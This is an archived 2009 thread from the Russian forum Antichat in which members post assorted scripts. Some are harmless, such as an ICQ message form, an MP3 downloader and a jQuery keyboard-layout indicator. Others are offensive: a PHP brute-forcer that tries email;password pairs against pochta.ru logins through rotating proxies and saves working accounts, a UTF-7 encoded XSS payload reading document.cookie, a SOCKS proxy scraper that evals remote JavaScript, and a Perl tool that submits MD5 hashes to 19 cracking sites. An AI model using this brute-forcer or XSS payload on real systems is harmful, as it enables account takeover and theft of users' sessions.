ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
23.04.2009, 15:56
|
|
Новичок
Регистрация: 31.10.2008
Сообщений: 5
Провел на форуме:
393341
Репутация:
53
|
|
PHP код:
<?
$UIN = '123456789'; //Уин
$PASSWORD = '0000'; //Пароль
if(!isset($_POST[uin]) or !isset($_POST[text]))
{ if(isset($_GET[uin])){
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<META HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=utf-8"> <title>Отправка соощений ICQG</title>
</head>
<body>
<b>Отправка ICQ-сообщений</b>
<br/>
<form method="post" action="index.php"> Номер ICQ:<br>
<input type="Text" name="uin" value="'.$_GET[uin].'" maxlength="9">
<br>
Сообщение:<br>
<input type="Text" name="text" value="" maxlength="500">
<br>
<input type=submit name="send" value="Отправить"> </form>
<p>
</body>
</html>';
}else{
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
<title>Отправка сообщний ICQ</title>
</head>
<body>
<b>Отправка ICQ-сообщений</b>
<br/>
<b>Ве сообщения приходят с номера 123456789!</b>
<br/>
<form method="post" action="index.php"> Номер ICQ:<br>
<input type="Text" name="uin" value="" maxlength="9">
<br> Сообщение:<br>
<input type="Text" name="text" value="" maxlength="500">
<br>
<input type=submit name="send" value="Отправить"> </form>
<p>
</body>
</html>';
}}else{
include('WebIcqLite.class.php');
$text=Encode($_POST[text],w);
$icq = new WebIcqLite();
if($icq->connect($UIN, $PASSWORD)){
if(!$icq->send_message($_POST[uin], $text))
{ echo $icq->error;
}else{
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
<title>ICQ</title>
</head>
<body>
<b>Отправка ICQ-сообщений</b>
<br/> Сообщение отправлено.<br>
<a href="index.php">Отправить еще</a>
</body>
</html>';
} $icq->disconnect();
}else{
echo $icq->error; } }
function Encode($str,$type=u) {
$conv=array();
for($x=192;$x<=239;$x++)
$conv[u][chr($x)]=chr(208).chr($x-48);
for($x=240;$x<=255;$x++)
$conv[u][chr($x)]=chr(209).chr($x-112);
$conv[u][chr(168)]=chr(208).chr(129);
$conv[u][chr(184)]=chr(209).chr(209);
$conv[w]=array_flip($conv[u]);
if($type=='w' || $type=='u')
return strtr($str,$conv[$type]);
else return $str; }
?>
Скрипт формы отправки сообщений на icq. для работы скрипты нужен WebIcqLite.class.php и номер и пароль от аси с которой будет осуществляться отправка сообщений
Последний раз редактировалось tR1Ck; 23.04.2009 в 17:08..
|
|
|
25.04.2009, 06:49
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638
Репутация:
1821
|
|
"Ыыыы" или просто ОЛоло
Вообщем на коленке накидал скриптик, дело было достаточно давно, но надо было трансика на вечер, инет у меня медленный вот накидал для скачки музыки с прикольного сайтика, также можно подредактировать под свои нужды.
PHP код:
#! /usr/bin/env python
# -*- coding:windows-1251 -*-
#-#######################################################-##
# Скачиваем музыку ##
# (c) 2009 ##
# Создал специально для себя, ##
# так как инет медленный, а без ##
# Транса, кодить не умею... ##
# De-visible project ##
# ndcoders.ru ##
# GreetZ To login999 ##
# Thanks to http://mp3.myws.ru/index.php/search?q=trance ##
# Также делаем программы на заказ ##
# Контакт ICQ#: 22-3333-575 ##
# Мы: ndcoders.ru, devisible.ru ##
#-######################################################-###
import urllib
import time
import re
import threading
import urlparse
import string
URL_MAS = []
s = 1
def DownFile(url):
f = urlparse.urlsplit(url)
mp3_name = str(f.path).strip('\/')
mp3_name = str(mp3_name).strip('[')
mp3_name = str(mp3_name).strip(']')
mp3_name = str(mp3_name).strip('\'')
mp3_name = mp3_name.replace('/','1')
try:
print u"Начинаем закачку файла: ", mp3_name, '\n'
print u"Размер файла: ", GetSizeMp3(url), "byte"
infile = urllib.urlopen(url).read()
except:
print u"Ошибка скачивания: ", mp3_name
print u", Файл закачен\n"
mp3_file = open(mp3_name+str(s)+'.mp3',"wb")
mp3_file.write(infile)
mp3_file.close()
print 'File Saved Local'
def GetSizeMp3(url):
size_mp3 = urllib.urlopen(url).info()
mp3 = str(size_mp3)
s_mp3 = str(re.findall(r'Content-Length: (.*?)\r\n',mp3))[2:-2]
print s_mp3
def LoadFromFile():
with open("urls.txt",) as urls:
for ur in urls:
URL_MAS.append(ur[:-1])
def ServerOption():
info = urllib.urlopen('http://mp3.myws.ru').info()
with open('serv_option.txt',"w") as serv:
serv.write(str(info))
print '''
Author: De-visible, ICQ#: 22-3333-575
WeAre: ND_c0ders, ndcoders.ru
ServerOption: mp3.myws.ru
'''
print info,'\n\n'
def Start_Process():
LoadFromFile()
print u"Массив ссылок загружен",'\n'
print u"Менеджер закачек запущен",'\n'
ServerOption()
s = 1
for url_mas in URL_MAS:
DownFile(url_mas)
time.sleep(3)
s+= s
print u" Все закачки завершены"
threading.Thread(target = Start_Process).start()
time.sleep(1000)
|
|
|
|
01.05.2009, 22:37
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999
Репутация:
444
|
|
Индикация языка ввода будит полезна при вводе пароля, скрипт покажет язык ввода и регистр вводимых букв.
вставляем это на страницу:
Код:
<script type="text/javascript">
$(function(){
$(':password').keyboardLayout();
});
</script>
подгружаем эти файлы:
jquery.keyboardLayout.js и jquery.js
Код:
(function() {
jQuery.keyboardLayout = {};
jQuery.keyboardLayout.indicator = $('<span class="keyboardLayout" />');
jQuery.keyboardLayout.target;
jQuery.keyboardLayout.layout;
jQuery.keyboardLayout.show = function(layout){
this.layout = layout;
this.indicator.text(layout);
this.target.after(this.indicator);
};
jQuery.keyboardLayout.hide = function(){
this.target = null;
this.layout = null;
this.indicator.remove();
};
jQuery.fn.keyboardLayout = function()
{
this.each(function(){
$(this).focus(function(){
jQuery.keyboardLayout.target = $(this);
});
$(this).blur(function(){
jQuery.keyboardLayout.hide();
});
$(this).keypress(function(e){
var c = (e.charCode == undefined ? e.keyCode : e.charCode);
var layout = jQuery.keyboardLayout.layout;
if (c >= 97/*a*/ && c <= 122/*z*/ && !e.shiftKey ||
c >= 65/*A*/ && c <= 90/*Z*/ && e.shiftKey ||
(c == 91/*[*/ && !e.shiftKey ||
c == 93/*]*/ && !e.shiftKey ||
c == 123/*{*/ && e.shiftKey ||
c == 125/*}*/ && e.shiftKey ||
c == 96/*`*/ && !e.shiftKey ||
c == 126/*~*/ && e.shiftKey ||
c == 64/*@*/ && e.shiftKey ||
c == 35/*#*/ && e.shiftKey ||
c == 36/*$*/ && e.shiftKey ||
c == 94/*^*/ && e.shiftKey ||
c == 38/*&*/ && e.shiftKey ||
c == 59/*;*/ && !e.shiftKey ||
c == 39/*'*/ && !e.shiftKey ||
c == 44/*,*/ && !e.shiftKey ||
c == 60/*<*/ && e.shiftKey ||
c == 62/*>*/ && e.shiftKey) && layout != 'EN') {
layout = 'en';
} else if (c >= 65/*A*/ && c <= 90/*Z*/ && !e.shiftKey ||
c >= 97/*a*/ && c <= 122/*z*/ && e.shiftKey) {
layout = 'EN';
} else if (c >= 1072/*Р°*/ && c <= 1103/*СЏ*/ && !e.shiftKey ||
c >= 1040/*Рђ*/ && c <= 1071/*РЇ*/ && e.shiftKey ||
(c == 1105/*С‘*/ && !e.shiftKey ||
c == 1025/*РЃ*/ && e.shiftKey ||
c == 8470/*в„–*/ && e.shiftKey ||
c == 59/*;*/ && e.shiftKey ||
c == 44/*,*/ && e.shiftKey) && layout != 'RU') {
layout = 'ru';
} else if (c >= 1040/*Рђ*/ && c <= 1071/*РЇ*/ && !e.shiftKey ||
c >= 1072/*Р°*/ && c <= 1103/*СЏ*/ && e.shiftKey) {
layout = 'RU';
}
if (layout) {
jQuery.keyboardLayout.show(layout);
}
});
});
};
})();
Каму надо тот разберётся, кто непонял что это вот ДЕМО
Последний раз редактировалось heretic1990; 13.05.2009 в 10:34..
|
|
|
|
07.05.2009, 22:45
|
|
Познающий
Регистрация: 06.01.2009
Сообщений: 48
Провел на форуме:
656991
Репутация:
26
|
|
Сообщение от mailbrush
Код:
http://bestquest.info/freeicq/freeicq.rar
Все в комментах. Скрипт раздает по одному нуму на чела. Требует наличия:
И как результат:
http://forum.antichat.ru/showpost.php?p=1138926&postcount=1 ну и как его ставить?
|
|
|
|
07.05.2009, 23:07
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999
Репутация:
444
|
|
MatriX30000, free.jpg, это не картинка, это скрипт.))
встави где нибудь его как рисунок и все
|
|
|
|
07.05.2009, 23:34
|
|
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
Провел на форуме:
991929
Репутация:
395
|
|
кодируем в UTF-7
Щас час потратил изобретая велосипед на Си (читая RFC написал свой base64 ы), но так и не получил результата... немного полистав странички гугла...
PHP код:
<?php
echo iconv('windows-1251','UTF-7',"</title><script>alert(document.cookie);</script>");
?>
*бьюсь ап стену*
З.Ы: если не в курсах зачем может понадобится UTF-7 читайте про XSS |
|
|
|
08.05.2009, 18:34
|
|
Постоянный
Регистрация: 20.12.2007
Сообщений: 334
Провел на форуме:
1934122
Репутация:
118
|
|
PHP код:
<?
# +----------------------------------------------+
# | - Generator socks5 ;) |
# | - (c) 2009 Writed by shellz |
# +----------------------------------------------+
// Setting:
set_time_limit(0);
error_reporting(0);
$loop = 10; // 1 - num loops
$mode = 1; // 0 - show all; 1 - show only the good
$save = 0; // 0 - show on page; 1 - save in the file
$file = 'socks5.txt'; // File name
do
{
$url = "http://sockslist.net";
$get = file($url);
foreach($get as $getting)
{
$pattern = "/<script type=\'text\/javascript\'>(.+)\(unescape\(\'.*\'\)\)<\/script>/is";
preg_match($pattern, $getting, $grab);
if($grab[0] == true) {
$str_beg = str_replace("<script type='text/javascript'>eval(unescape('", "", $grab[0]);
$str_end = str_replace("'))</script>","", $str_beg);
$js = urldecode($str_end);
$arr = explode(";", $js);
$version = explode("+", $arr[16]);
$country = explode("</td>", $arr[16]);
for($i = 0; $i < 12; $i++)
{
if($i > 10) {
$two = explode("=", trim($arr[$i]));
} else {
$socks .= '$'.trim($arr[$i]).';';
}
}
$socks .= '$port = $'.trim($two[1]).';';
eval($socks);
if(trim($version[5]) == 5) { // show only socks 5 version;
$intz = $ipa.":".$port.":".trim($version[5]); }
if($mode == 0) {
if($save == 0) {
echo $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]."<br>"; } else {
file_put_contents($file, $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]."\n", FILE_APPEND);
}
} else {
$check = file_get_contents("http://sockslist.net/cgi-bin/socks/proxytools.cgi?do=check&socks=".$intz);
$patterm = "|<font color=\"\#00ab38\">works<\/font>|is";
if(preg_match($patterm, $check)) {
if($save == 0){
echo $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]." - Socks5 Good! <br>"; } else {
file_put_contents($file, $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]." - Socks5 Good!\n", FILE_APPEND); }
}
}
}
} $lp++;
}
while($lp < $loop);
?>
|
|
|
|
09.05.2009, 21:38
|
|
Участник форума
Регистрация: 28.04.2008
Сообщений: 172
Провел на форуме:
1191083
Репутация:
270
|
|
Простой скрипт брутер pochta.ru.
Использует очень полезный класс для работы с сокетами.
Сам брутер:
PHP код:
<?php
/*
Pochta.ru брутер.
login.txt - файл формата e-mail;password
proxy.txt - файл с проксями.
good.txt - сбрученные аккаунты.
(с) art2222
*/
require_once 'class.php';
$cs = new phpsploit();
$cs -> agent('Mozilla/4.0 (compatible; MSIE 6.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322)');
$proxy = @file('proxy.txt');
$good = array();
foreach (file('login.txt') as $value)
{
list($login,$pass) = explode(';',trim($value));
list($login,$domain) = explode('@',$login);
list($ip,$port) = explode(':',trim(array_rand($proxy)));
$cs->proxy($ip,$port);
$content = $cs->post('http://pda.pochta.ru/auth/logon',"reason=login&lng=ru&rnd=&user=$login&domain=$domain&pass=$pass");
if (strpos($content,'INBOX')) array_push($good, $value);
}
file_put_contents('good.txt', $good);
?>
Брутер+php класс |
|
|
|
10.05.2009, 13:32
|
|
Banned
Регистрация: 10.05.2009
Сообщений: 36
Провел на форуме:
52988
Репутация:
9
|
|
MD5-Crack-Monster(перл)
Код:
#!usr/bin/perl ## # Coded By hors_de_prix # Md5 Crack Monster v1.1 ####################### # www.tydal.nu # milw0rm.com # gdataonline.com # ice.breaker.free.fr # passcracking.com # md5.hashcracking.com # md5decryption.com # www.hashchecker.com # victorov.su # md5crack.it-helpnet.de # www.md5decrypter.com # blacklight.gotdns.org # www.hashchecker.com # md5.ip-domain.com.cn # www.bigtrapeze.com # opencrack.hashkiller.com # md5live.com # www.md5hood.com # www.astalavista.net ####################### # Ex. Option 1 # # Pick one of ~# 1 # Enter Md5 Hash ~# 9f06cd848dfef4e02ff9a14a21ae5dd8 # *************** # Ex. Option 2 # # Pick one of ~# 2 # Enter Md5 File ~# md5_hash.txt # *************** # # Ex. For md5_hash.txt # # 28c15e68173b7bf815ccbfd0513d2663 # 21232f297a57a5a743894a0e4a801fc3 # 8ff32489f92f33416694be8fdc2d4c22 # ... # ... ## use LWP::UserAgent; use HTTP::Request::Common; system('cls'); system('title Md5 Crack Monster v1.1 - Coded By KuNdUz'); print "\n\t***********************************\n"; print "\t* Md5 Crack Monster v1.1 *\n"; print "\t* Coded By KuNdUz *\n"; print "\t- Options: -\n"; print "\t* 1 - md5 hash *\n"; print "\t* 2 - md5.txt *\n"; print "\t***********************************\n"; print "\nPick One Of ~# "; $pick=<STDIN>; chop($pick); if($pick == "1"){ MD5FAIL: print "\nEnter Md5 Hash ~# "; $hash=<STDIN>; chop($hash); ###############md5 hash crack############### if (length($hash)==32) { print "\n\t*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* -*-*-*-*-*-*-*-*-*\n"; print "\t* Md5 Crack Monster v1.1 *\n"; print "\t* Coded By KuNdUz *\n"; print "\t*__ $hash Searching 19 sites __*\n"; print "\t*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- *-*-*-*-*-*-*-*-*\n\n"; &next; } else { print "\nThis is not a md5 hash!\n\n$hash \n\nTry Again! \n\n"; goto MD5FAIL; } } ###############md5 hash file crack############### if($pick == "2"){ print "\nEnter Md5 File ~# "; $file=<STDIN>; chop($file); open(RES,"<","$file"); @lol = <RES>; close(RES); foreach $hash(@lol){ print " \nSearching Md5 Hash $hash\n\n"; &next; } } sub next { $url = "http://www.tydal.nu/php/sakerhet/md5.php? q=$hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "1 www.tydal.nu ---- "; if ($connect -> content =~ /(.*)<\/b><\/h5>/) { if ($connect -> content =~ /Ingen/) { print "Result : Hash not found!\n"; } else { print "Result : $1\n"; } } else { print "Result : Hash not found!\n"; } $url = "http://milw0rm.com/cracker/search.php"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "Submit" => "Submit"]); print "2 www.milw0rm.com ---- "; if ($request->content =~ /<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>(.*)<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>cracked<\/TD><\/TR>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://gdataonline.com/qkhash.php? mode=txt&hash=$hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "3 gdataonline.com ---- "; if ($connect -> content =~ /<\/td><td width=\"35%\"><b> (.*)<\/b><\/td><\/tr>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://ice.breaker.free.fr/md5.php?hash=$hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp->get($url); print "4 ice.breaker.free.fr ---- "; if ($connect -> content =~ /: <b><br><br> - (.*) <br><br><br><a href=http:\/\/ice.breaker.free.fr\/#hash>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://passcracking.com/"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp ->post($url, ["datafromuser" => $hash, "submit" => "DoIT"]); print "5 passcracking.com ---- "; if ($request->content =~ /<\/td><td>md5 Database<\/td><td>$hash<\/td><td bgcolor=#FF0000>(.*) <\/td><td>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5.hashcracking.com/search.php? md5=$hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "6 md5.hashcracking.com ---- "; if ($connect->content =~ /Cleartext of $hash is (.*)/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5decryption.com"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "submit" => "Decrypt It!"]); print "7 www.md5decryption.com ---- "; if ($request->content =~ /<h2>Results<\/h2><b>Md5 Hash:<\/b> $hash<br\/><b class='red'>Normal Text: <\/b> (.*)<br\/>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://www.hashchecker.com/index.php? _sls=search_hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp -> post($url, ["search_field" => $hash, "Submit" => "search"]); print "8 www.hashchecker.com ---- "; if ($request -> content =~ /<td><li>Your md5 hash is :<br><li>$hash is <b>(.*)<\/b> used charl/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://victorov.su/md5/?md5e=&md5d=$hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "9 victorov.su ---- "; if ($connect -> content =~ /MD5 расшифрован: <b>(.*) <\/b><br><form action=\"\">/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5crack.it-helpnet.de/index.php?op=search"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["md5" => $hash, "submit" => "Search now"]); print "10 md5crack.it-helpnet.de ---- "; if ($request->content =~ /<\/td><td>$hash<\/td><td>(.*) <\/td>/) { if (length($1)==23) { print "Result : Hash not found!\n"; } else { print "Result : $1\n"; } } else { print "Result : Hash not found!\n"; } $url = "http://www.md5decrypter.com/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "submit" => "Decrypt!"]); print "11 www.md5decrypter.com ---- "; if ($request->content =~ /<h2>Results<\/h2><b>Md5 Hash:<\/b> $hash<br\/><b class='red'>Normal Text: <\/b> (.*)/) { if (length($1)==23) { print "Result : Hash not found!\n"; } else { print "Result : $1\n"; } } else { print "Result : Hash not found!\n"; } $url = "http://blacklight.gotdns.org/cracker/crack.php"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "algos" => "MD5", "crack" => "Crack"]); print "12 blacklight.gotdns.org ---- "; if ($request->content =~ /$hash -> <b>(.*) <\/b><br><br>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://www.hashchecker.com/index.php? _sls=search_hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["search_field" => $hash, "Submit" => "search"]); print "13 www.hashchecker.com ---- "; if ($request->content =~ /<td><li>Your md5 hash is :<br><li>$hash is <b>(.*)<\/b> used charlist/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5.ip-domain.com.cn/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["text" => $hash, "submit" => "submit"]); print "14 md5.ip-domain.com.cn ---- "; if ($request->content =~ /<strong>result:<\/strong><font color=red>(.+)<\/font> /){ print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://www.bigtrapeze.com/md5/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["query" => $hash, "submit" => " Crack "]); print "15 www.bigtrapeze.com ---- "; if ($request->content =~ /The hash <strong>$hash<\/strong> has been deciphered to: <strong>(.+)<\/strong>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://opencrack.hashkiller.com/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["oc_check_md5" => $hash, "submit" => "Search MD5"]); print "16 opencrack.hashkiller.com ---- "; if ($request->content =~ /<\/div><div class="result">$hash:(.+)<br\/>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5live.com/index.php? format=md5&search=$hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "17 md5live.com ---- "; if ($connect -> content =~ /(.+)<br \/>/){ print "Result : $1\n"; } $url = "http://www.md5hood.com/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["md5" => $hash, "submit" => "Search"]); print "18 www.md5hood.com ---- "; if ($request->content =~ / <div class="result_found">(.+)<\/div>/){ print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "https://www.astalavista.net/?cmd=rainbowtables"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["query_hash" => $hash, "submit" => "Search", "hash_algorithm_query" => "MD5"]); print "19 www.astalavista.net ---- "; if ($request->content =~ /<\/td><\/tr><tr><td><b>Plain- Text:<\/b><\/td><\/tr><tr><td>(.+)/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } } ## # Coded By hors_de_prix ##
Последний раз редактировалось hors_de_prix; 10.05.2009 в 14:02..
Причина: настраивал
|
|
|
|
10.05.2009, 13:51
|
|
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме:
2075230
Репутация:
462
|
|
hors_de_prix, не раз уже выкладывалось. [code][*/code] используй :\
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для shellz[21h]](/avatars/avatar46780.jpg?1265632){kind=avatar}
Линейный вид
